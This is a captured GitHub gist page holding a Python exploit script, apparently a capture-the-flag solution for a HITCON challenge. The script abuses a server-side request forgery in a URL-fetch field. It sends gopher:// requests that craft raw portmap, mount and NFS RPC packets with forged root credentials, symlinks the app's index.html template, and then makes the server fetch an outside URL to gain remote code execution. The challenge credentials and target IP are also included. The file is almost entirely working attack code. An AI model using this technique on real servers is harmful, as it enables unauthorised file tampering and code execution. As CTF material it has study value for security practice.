CARVIEW |
Select Language
HTTP/2 200
date: Mon, 28 Jul 2025 04:06:31 GMT
content-type: text/html; charset=utf-8
vary: X-PJAX, X-PJAX-Container, Turbo-Visit, Turbo-Frame, X-Requested-With,Accept-Encoding, Accept, X-Requested-With
etag: W/"825933882bf9c656f11ccdcb04d8485b"
cache-control: max-age=0, private, must-revalidate
strict-transport-security: max-age=31536000; includeSubdomains; preload
x-frame-options: deny
x-content-type-options: nosniff
x-xss-protection: 0
referrer-policy: origin-when-cross-origin, strict-origin-when-cross-origin
content-security-policy: default-src 'none'; base-uri 'self'; child-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/; connect-src 'self' uploads.github.com www.githubstatus.com collector.github.com raw.githubusercontent.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com *.rel.tunnels.api.visualstudio.com wss://*.rel.tunnels.api.visualstudio.com objects-origin.githubusercontent.com copilot-proxy.githubusercontent.com proxy.individual.githubcopilot.com proxy.business.githubcopilot.com proxy.enterprise.githubcopilot.com *.actions.githubusercontent.com wss://*.actions.githubusercontent.com productionresultssa0.blob.core.windows.net/ productionresultssa1.blob.core.windows.net/ productionresultssa2.blob.core.windows.net/ productionresultssa3.blob.core.windows.net/ productionresultssa4.blob.core.windows.net/ productionresultssa5.blob.core.windows.net/ productionresultssa6.blob.core.windows.net/ productionresultssa7.blob.core.windows.net/ productionresultssa8.blob.core.windows.net/ productionresultssa9.blob.core.windows.net/ productionresultssa10.blob.core.windows.net/ productionresultssa11.blob.core.windows.net/ productionresultssa12.blob.core.windows.net/ productionresultssa13.blob.core.windows.net/ productionresultssa14.blob.core.windows.net/ productionresultssa15.blob.core.windows.net/ productionresultssa16.blob.core.windows.net/ productionresultssa17.blob.core.windows.net/ productionresultssa18.blob.core.windows.net/ productionresultssa19.blob.core.windows.net/ github-production-repository-image-32fea6.s3.amazonaws.com github-production-release-asset-2e65be.s3.amazonaws.com insights.github.com wss://alive.github.com api.githubcopilot.com api.individual.githubcopilot.com api.business.githubcopilot.com api.enterprise.githubcopilot.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com copilot-workspace.githubnext.com objects-origin.githubusercontent.com; frame-ancestors 'none'; frame-src viewscreen.githubusercontent.com notebooks.githubusercontent.com; img-src 'self' data: blob: github.githubassets.com media.githubusercontent.com camo.githubusercontent.com identicons.github.com avatars.githubusercontent.com private-avatars.githubusercontent.com github-cloud.s3.amazonaws.com objects.githubusercontent.com release-assets.githubusercontent.com secured-user-images.githubusercontent.com/ user-images.githubusercontent.com/ private-user-images.githubusercontent.com opengraph.githubassets.com copilotprodattachments.blob.core.windows.net/github-production-copilot-attachments/ github-production-user-asset-6210df.s3.amazonaws.com customer-stories-feed.github.com spotlights-feed.github.com objects-origin.githubusercontent.com *.githubusercontent.com; manifest-src 'self'; media-src github.com user-images.githubusercontent.com/ secured-user-images.githubusercontent.com/ private-user-images.githubusercontent.com github-production-user-asset-6210df.s3.amazonaws.com gist.github.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; upgrade-insecure-requests; worker-src github.githubassets.com github.com/assets-cdn/worker/ github.com/assets/ gist.github.com/assets-cdn/worker/
server: github.com
content-encoding: gzip
accept-ranges: bytes
set-cookie: _gh_sess=SSLmlqr%2Fm1WEbj8haztYgfFFVKFTPRDoDBuSNVcMyo7wooTYVakBJhQBpCMdv6h%2BiAeoQanOfSCTbRANqk5yVii6nmknMI29lhZyiQdDqUcDPnavfE8WItfqUyMvOPjriZTCXzQx%2FTK8n5xTFNR64gKkn66OuKUyiyvcrhGIzM1CnYgBzIP9W54%2B9WNRvUG9z0J31ztL7KuUsOzUQ%2BDWtdFXvqZFKbZmRknLbD2E4w8j%2FkWJb8iJPgV2x53ORuXWk1uzYPO6dE5CQ8Kg45pIvg%3D%3D--UfqnC0drpVq8UwtA--6RQItYRQ1n%2BYzVBGmc7HqQ%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
set-cookie: _octo=GH1.1.1218165334.1753675591; Path=/; Domain=github.com; Expires=Tue, 28 Jul 2026 04:06:31 GMT; Secure; SameSite=Lax
set-cookie: logged_in=no; Path=/; Domain=github.com; Expires=Tue, 28 Jul 2026 04:06:31 GMT; HttpOnly; Secure; SameSite=Lax
x-github-request-id: 89D4:22FFCB:5615D2:74BA96:6886F747
exp-metamon-verse.py · GitHub
Show Gist options
Save orangetw/6d34ff98a6332bc0523b35ea952a790d to your computer and use it in GitHub Desktop.
{{ message }}
Instantly share code, notes, and snippets.
orangetw/exp-metamon-verse.py Secret
Created
December 5, 2021 11:47
-
Star
0
(0)
You must be signed in to star a gist -
Fork
0
(0)
You must be signed in to fork a gist
-
Save orangetw/6d34ff98a6332bc0523b35ea952a790d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from pwn import * | |
from urllib import quote | |
from random import randint | |
context.endian = 'big' | |
AUTH = ('ctf', 'fa206e9346104e49') | |
URL = 'https://54.65.249.124:39329/' | |
port = None | |
fh_len = None | |
fh = None | |
def gopher(port, data): | |
return 'gopher://nfs.server:%d/_%s' % (port, quote(data)) | |
def nfs_decode(data): | |
global fh_len, fh | |
fp = StringIO(data) | |
frag = fp.read(4) | |
print 'data len = %d' % len(data) | |
print 'xid = %08x' % u32(fp.read(4)) | |
print 'typ = %08x' % u32(fp.read(4)) | |
print 'stat = %08x' % u32(fp.read(4)) | |
print 'Verifier = %s' % repr(fp.read(8)) | |
print 'Accept State = %08x' % u32(fp.read(4)) | |
if len(data) > 24: | |
print 'status = %08x' % u32(fp.read(4)) | |
fh_len = u32(fp.read(4)) | |
fh = fp.read(fh_len) | |
print 'fh len = %08x' % fh_len | |
print 'file handle = %s' % repr(fh) | |
print 'falvors = %08x' % u32(fp.read(4)) | |
print 'falvor[0] = %08x' % u32(fp.read(4)) | |
print '-'*16 | |
while 1: | |
PORTMAP_CALL = '' | |
PORTMAP_CALL += p32(0x41414141) # xid | |
PORTMAP_CALL += p32(0) # message type | |
PORTMAP_CALL += p32(2) # rpc version | |
PORTMAP_CALL += p32(100000) # program | |
PORTMAP_CALL += p32(2) # program version | |
PORTMAP_CALL += p32(3) # procedure | |
# Credential | |
PORTMAP_CALL += p32(0)+p32(0) # flavor # AUTH_NULL | |
PORTMAP_CALL += p32(0)+p32(0) # Verifier | |
# Portmap Service | |
PORTMAP_CALL += p32(100005) # program | |
PORTMAP_CALL += p32(3) # version | |
PORTMAP_CALL += p32(6) # proto | |
PORTMAP_CALL += p32(0) # port | |
PORTMAP_CALL = p32(128 << 24 | len(PORTMAP_CALL)) + PORTMAP_CALL | |
url = gopher(111, PORTMAP_CALL) | |
data = { | |
'url': url + 'BBBB', | |
'CURLOPT_LOCALPORT': randint(1, 1024) | |
} | |
r = requests.post(URL, data=data, auth=AUTH) | |
if 'Your Metamon' in r.content: | |
content = r.content | |
content = content.split('">Your Metamon')[0] | |
path = content.split('"')[-1] | |
r = requests.get(URL + path, auth=AUTH) | |
port = u16(r.content[-2:]) | |
print 'port = %d' % port | |
break | |
while 1: | |
MNT_CALL = '' | |
MNT_CALL += p32(0x41414141) # xid | |
MNT_CALL += p32(0) # message type | |
MNT_CALL += p32(2) # rpc version | |
MNT_CALL += p32(100005) # program | |
MNT_CALL += p32(3) # program version | |
MNT_CALL += p32(1) # procedure | |
# Credential | |
MNT_CALL += p32(1) # flavor # AUTH_UNIX | |
MNT_CALL += p32(0x1c) # size | |
MNT_CALL += p32(0x41414141) # stamp | |
MNT_CALL += p32(1) # size of machine name | |
MNT_CALL += 'x\x00\x00\x00' | |
MNT_CALL += p32(0) # uid | |
MNT_CALL += p32(0) # gid | |
MNT_CALL += p32(1)+p32(0) # Auxiliary GIDs (1) [0] | |
MNT_CALL += p32(0)+p32(0) # Verifier | |
# Mount Service | |
MNT_CALL += p32(5) # size of path | |
MNT_CALL += '/data\x00\x00\x00' | |
MNT_CALL = p32(128 << 24 | len(MNT_CALL)) + MNT_CALL | |
data = { | |
'url': gopher(port, MNT_CALL) + 'BBBB', | |
'CURLOPT_LOCALPORT': randint(1, 1024) | |
} | |
r = requests.post(URL, data=data, auth=AUTH) | |
if 'Your Metamon' in r.content: | |
content = r.content | |
content = content.split('">Your Metamon')[0] | |
path = content.split('"')[-1] | |
print path | |
r = requests.get(URL + path, auth=AUTH) | |
nfs_decode(r.content) | |
print 'fh_len = %d' % fh_len | |
print 'fh = %s' % repr(fh) | |
break | |
while 1: | |
NFS_CALL = '' | |
NFS_CALL += p32(0x41414141) # xid | |
NFS_CALL += p32(0) # message type | |
NFS_CALL += p32(2) # rpc version | |
NFS_CALL += p32(100003) # program | |
NFS_CALL += p32(3) # program version | |
NFS_CALL += p32(10) # procedure # SYMLINK | |
# Credential | |
NFS_CALL += p32(1) # flavor # AUTH_UNIX | |
NFS_CALL += p32(0x1c) # size | |
NFS_CALL += p32(0x41414141) # stamp | |
NFS_CALL += p32(0x1) # size of machine name | |
NFS_CALL += 'x\x00\x00\x00' | |
NFS_CALL += p32(0) # uid | |
NFS_CALL += p32(0) # gid | |
NFS_CALL += p32(1)+p32(0) # Auxiliary GIDs (1) [0] | |
NFS_CALL += p32(0)+p32(0) # Verifier | |
# NFS Service | |
# where | |
NFS_CALL += p32(fh_len) + fh # dir | |
from hashlib import md5 | |
src_path = md5('36.229.231.73' + 'https://orange.tw/rceeeeeeee-orange-hitcon').hexdigest() + '.jpg' | |
print 'src = %s' % src_path | |
if len(src_path) % 4 == 0: | |
NFS_CALL += p32(len(src_path)) + src_path | |
else: | |
NFS_CALL += p32(len(src_path)) + src_path + ('\x00' * (4-len(src_path)%4)) | |
# symlink attribute | |
symlink_attr = '' | |
symlink_attr += '\x00\x00\x00\x01\x00\x00\x01\xff' | |
symlink_attr += p32(0) # uid | |
symlink_attr += p32(0) # gid | |
symlink_attr += p32(0) # size | |
symlink_attr += p32(0) # atime | |
symlink_attr += p32(0) # mtime | |
NFS_CALL += symlink_attr | |
# To | |
dst_path = '/app/templates/index.html' | |
print 'dst_path = %s' % dst_path | |
if len(dst_path) % 4 == 0: | |
NFS_CALL += p32(len(dst_path)) + dst_path | |
else: | |
NFS_CALL += p32(len(dst_path)) + dst_path + ('\x00' * (4-len(dst_path)%4)) | |
NFS_CALL = p32(128 << 24 | len(NFS_CALL)) + NFS_CALL | |
data = { | |
'url': gopher(2049, NFS_CALL) + 'BBBB', | |
'CURLOPT_LOCALPORT': randint(1, 1024) | |
} | |
r = requests.post(URL, data=data, auth=AUTH) | |
if 'Your Metamon' in r.content: | |
content = r.content | |
content = content.split('">Your Metamon')[0] | |
path = content.split('"')[-1] | |
print path | |
r = requests.get(URL + path, auth=AUTH) | |
print 'symlink-ed' | |
print [r.content] | |
break | |
# raw_input('check?') | |
data = { | |
'url': 'https://orange.tw/rceeeeeeee-orange-hitcon', | |
'CURLOPT_LOCALPORT': randint(1, 1024) | |
} | |
r = requests.post(URL, data=data, auth=AUTH) | |
print r.content |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
You can’t perform that action at this time.